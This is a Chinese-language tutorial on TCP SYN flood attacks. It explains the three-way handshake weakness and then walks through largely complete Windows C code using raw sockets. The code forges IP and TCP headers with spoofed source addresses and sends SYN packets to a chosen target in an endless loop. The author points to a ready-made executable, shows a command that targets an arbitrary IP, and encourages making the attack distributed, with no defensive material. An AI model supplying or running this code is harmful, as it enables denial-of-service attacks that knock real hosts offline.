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一、
什么是洪水攻击
洪水之猛、势不可挡。如果将洪水比作对计算机的攻击，那大家可以想象得出，攻击是多的猛烈。
在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包，使得目标机器忙于处理这些无用的数据包，而无法处理正常的数据包。在攻击过程中，目标机器的CPU的使用率将高于正常值，有时甚至会达到100%。这样将使目标机器的性能急剧下降。这有些象我们在日常生活中的电话，如果要使某个电话瘫痪，就不停地拨这个电话的号码，那么其它的电话就无法拨通这个电话，当然，要想不接到骚扰电话，唯一的方法是将电话线拔了。同样，要想计算机完全避免洪水攻击的唯一方法，就是不让这台计算机上网，更直接的就是将网线拔了。
二、
洪水攻击的原理
洪水攻击也称为拒绝服务攻击。可以有很多种方式进行这种攻击，本文主要讨论比较常用的利用TCP三次握手的漏洞来耗尽计算机资源的方式来进行攻击。
那么什么是TCP的三次握手呢？其实原理很简单。这要从TCP的连接过程说起。我们一般使用Socket API来进行TCP连接。要做的只是将IP或计算机名以及端口号传入connect函数，如果参数正确，目标机器的服务可用的话，这个TCP连接就会成功。之所以连接这么方便，是因为Socket API已经将一些底层的操作隐藏了起来。那么这里面究竟发生了什么呢？
我们由网络7层可知，在TCP所在的传输层下面是网络层，在这一层最有代表性的协议就是IP协议。而TCP数据包就是通过IP协议传输的。这就是我们为什么经常说TCP/IP协议的缘故。TCP在底层的连接并不是这么简单。在真正建立连接之前，必须先进行验证。那么如何验证呢？
假设有两台机器A和B。A使用TCP协议连接B，在建立连接之前，A先发一个报文给B，B在接收到这个数据包后，利用报文中的源地址（也就是A的IP）再给A发一个报文，A在接到这个报文后，又给B发了一个报文，B如果成功接到这个报文后，就正式和A建立TCP连接。过程示意如图1所示：
图1 TCP连接的三次握手
问题就出在第二次握手上。正常情况下，报文的源地址应该是A的IP，但如果是一个非法报文的话，报文的源地址可能并不是A的IP，也许就是一个并不存在的IP。如果是这样，那在第二次握手时，B也就无法找到A了，这当然就不可能发生第三次握手。因为，B找不到A，而A又迟迟得不到B的回信，这样TCP就无法连接。但攻击者的目的并不是要建立TCP连接，而是要耗尽B的资源。由于B找不到A，B也就无法得到A的回信，如果这种情况发生，B并不会将在第一次握手中建立的资源马上释放，而会有一个超时，假设这个时间是10秒。如果A在这10秒内向B发送10000个这样的连接数据包，就意味着B要维护这10000个连接资源。如果过了10秒，B释放了这些资源，A在下一个10称还会发10000个连接包。如果A不断地发这样数据包，就意味着B将永远要维护这10000个连接，因此，B的CPU和内存将被耗尽，至少也得被占用大部分。所以B就无法响应其它机器的请求，或者是响应迟缓。
洪水攻击的实现
在上一部分我们讨论了洪水攻击原理，在这一部分我将给出一个完成的实例说明如何使用C语言来设计洪水攻击程序。
由于报文是用IP协议发送的，因此，我们需要自己定义IP数据包的数据结构，这样我们就可以任意修改IP数据包的内容了。下面是IP协议的数据结构。
typedef struct _iphdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度（字节）
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
} IP_HEADER;
这个结构比较复杂，我们只看其中3个，其余的成员可以参考《TCP/IP详解卷1：协议》的相关部分。最后两个成员sourceIP和destIP就是上述所说的A和B的IP。而最重要的就是checksum，这个参数是一个验证码，用于验证发送的IP数据包的正确性，我们把这个验证码称为校验和。计算它的函数如下：
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
看了上面的代码也许会有很多疑问，下面我就简单描述一下如何计算机IP数据包的校验和。IP数据包的校验和是根据IP首部计算机出来的，而并不对IP数据包中的数据部分进行计算。为了计算一个数作为校验和，首先把校验和字段赋为0。然后，对首部中每个16位进行二进制白马反码求和（我们可以将整个IP首部看成是由一组16位的字组成），将结果保存在校验和字段中。当收到一份IP数据报后，同样对首部中每个16位进行二进制反码的求和。由于接收方在计算机过程中包含了发送方存在首部的校验和，因此，如果首部在传输过程中没有发生任何差错，那么接收方计算的结果应该全是1.如果结果不全是1（即校验和错误），那么IP就丢弃收到的数据报。但不生成差错报文，由上层（如TCP协议）去发现丢失的数据报并进行重传。
由于我们要发送假的TCP连接包，因此，为分别定义一个伪TCP首部和真正的TCP首部。
struct //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
} psd_header;
typedef struct _tcphdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres;//4位首部长度/6位保留字
unsigned char th_flag;//6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
} TCP_HEADER;
在以上的准备工作都完成后，就可以写main函数中的内容了。下面是程序的定义部分。
#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
#define SYN_DEST_IP "127.0.0.1"//被攻击的默认IP
#define FAKE_IP "10.168.150.1" //伪装IP的起始值，可以是任意IP
#define STATUS_FAILED 0xFFFF//错误返回值
int main(int argc, char **argv)
{
int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
int TimeOut=2000,SendSEQ=0;
char SendBuf[128]; // 每个数据包是128个字节
char DestIP[16]; // 要攻击的机器IP，在这里就是B的IP
memset(DestIP, 0, 4);
// 如果通过参数输入个IP，将DestIP赋为这IP，否则SYN_DEST_IP赋给DestIP
if(argc < 2)
strcpy(DestIP, SYN_DEST_IP);
else
strcpy(DestIP, argv[1]);
// 以下是声明Socket变量和相应的数据结构
WSADATA wsaData;
SOCKET SockRaw=(SOCKET)NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
TCP_HEADER tcp_header;
… …
}
下一步就是初始化Raw Socket
//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) // 使用Socket2.x版本
{
fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
ExitProcess(STATUS_FAILED);
}
SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (SockRaw==INVALID_SOCKET) // 如果建立Socket错误，输出错误信息
{
fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
第二步就是填充刚才定义的那些数据结构
//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if (ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!\n");
__try{
//设置发送超时
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
__leave;
}
memset(&DestAddr,0,sizeof(DestAddr));
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.s_addr=inet_addr(DestIP);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
//填充IP首部
ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
//高四位IP版本号，低四位首部长度
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度（字节）
ip_header.ident=1; //16位标识
ip_header.frag_and_flags=0; //3位标志位
ip_header.ttl=128; //8位生存时间TTL
ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…)
ip_header.checksum=0;//16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
ip_header.destIP=inet_addr(DestIP); //32位目的IP地址
//填充TCP首部
tcp_header.th_sport=htons(7000);//源端口号
tcp_header.th_dport=htons(8080);//目的端口号
tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号
tcp_header.th_ack=0; //ACK序列号置为0
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位
tcp_header.th_flag=2; //SYN 标志
tcp_header.th_win=htons(16384); //窗口大小
tcp_header.th_urp=0; //偏移
tcp_header.th_sum=0; //校验和
//填充TCP伪首部（用于计算校验和，并不真正发送）
psd_header.saddr=ip_header.sourceIP;//源地址
psd_header.daddr=ip_header.destIP;//目的地址
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;//协议类型
psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度
最后一步是通过一个while循环发送向目标机器发送报文
while(1)
{
//每发送10000个报文输出一个标示符
printf(".");
for(counter=0;counter<10000;counter++){
if(SendSEQ++==65536) SendSEQ=1;//序列号循环
//更改IP首部
ip_header.checksum=0;//16位IP首部校验和
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
//更改TCP首部
tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号
tcp_header.th_sum=0; //校验和
//更改TCP Pseudo Header
psd_header.saddr=ip_header.sourceIP;
//计算TCP校验和，计算校验和时需要包括TCP pseudo header
memcpy(SendBuf,&psd_header,sizeof(psd_header));
memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
//计算IP校验和
memcpy(SendBuf,&ip_header,sizeof(ip_header));
memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
//填充发送缓冲区
memcpy(SendBuf,&ip_header,sizeof(ip_header));
//发送TCP报文
ErrorCode=sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr,
sizeof(DestAddr));
if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
}
}
到现在为止，我们已经完成了一个洪水攻击的控制台软件。本程序使用VC6.0调试通过。感性趣的读者可以下载本文提供的完整代码。在Debug目录中有一个exe程序，synflooding.exe，可以通过参数将目标IP传入exe。如synflooding 129.11.22.33，如果不带参数，默认就是本机（127.0.0.1）。软件的运行界面如图2所示，攻击后的CPU使用情况如图3如示。
图2 攻击软件运行界面
图3 CPU已经100%
图3是我使用本机测试的结果，如果通过局域网攻击其它的机器，CPU未必能达到100%，但至少也在50%以上，可以使目标机器明显变慢。如果我们通过其它的黑客技术将这个程序改成分布式的洪水攻击，并降低每个单机攻击的频率。这样就算是再好的防火墙也无法防御。除非对方使用蜜罐等手段隐藏或设置虚假IP，否则这种最原始的攻击手段都会奏效。
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